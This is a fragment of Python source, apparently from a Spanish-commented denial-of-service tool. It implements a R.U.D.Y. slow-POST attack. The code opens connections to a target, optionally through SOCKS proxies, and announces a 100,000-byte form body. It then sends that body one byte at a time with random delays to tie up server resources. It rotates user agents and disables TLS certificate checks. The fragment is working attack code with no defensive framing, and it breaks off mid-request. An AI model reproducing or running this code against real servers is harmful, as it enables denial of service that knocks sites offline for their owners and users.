"""R.U.D.Y (Are You Dead Yet) - POST lento híbrido"""
global sent_packets
try:
if use_proxy and proxy_list:
current_proxy = get_current_proxy()
if current_proxy and current_proxy['type'] in ['socks4', 'socks5']:
sock = setup_proxy_socket(current_proxy)
sock.settimeout(30)
sock.connect((target_info['host'], target_info['port']))
post_data = 'field1=' + 'A' * 100000
content_length = len(post_data)
request = (
f"POST {target_info['path']} HTTP/1.1\r\n"
f"Host: {target_info['host']}\r\n"
f"User-Agent: {random.choice(USER_AGENTS)}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {content_length}\r\n"
f"Connection: keep-alive\r\n\r\n"
)
sock.send(request.encode())
with lock:
sent_packets += 1
for byte in post_data.encode():
if not attack_running:
break
sock.send(bytes([byte]))
time.sleep(random.uniform(0.1, 0.5))
with lock:
sent_packets += 1
time.sleep(10)
sock.close()
return True
# Conexión asyncio directa
if target_info['scheme'] == 'https':
ssl_context = ssl.create_default_context()
ssl_context.check_hostname = False
ssl_context.verify_mode = ssl.CERT_NONE
reader, writer = await asyncio.open_connection(
target_info['host'],
target_info['port'],
ssl=ssl_context
)
else:
reader, writer = await asyncio.open_connection(
target_info['host'],
target_info['port']
)
post_data = 'field1=' + 'A' * 100000
content_length = len(post_data)
request = (
f"POST {target_info['path']} HTTP/1.1\r\n"
f"Host: {target_info['host']}\r\n"
f"User-Agent: {random.choice(USER_AGENTS)}\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"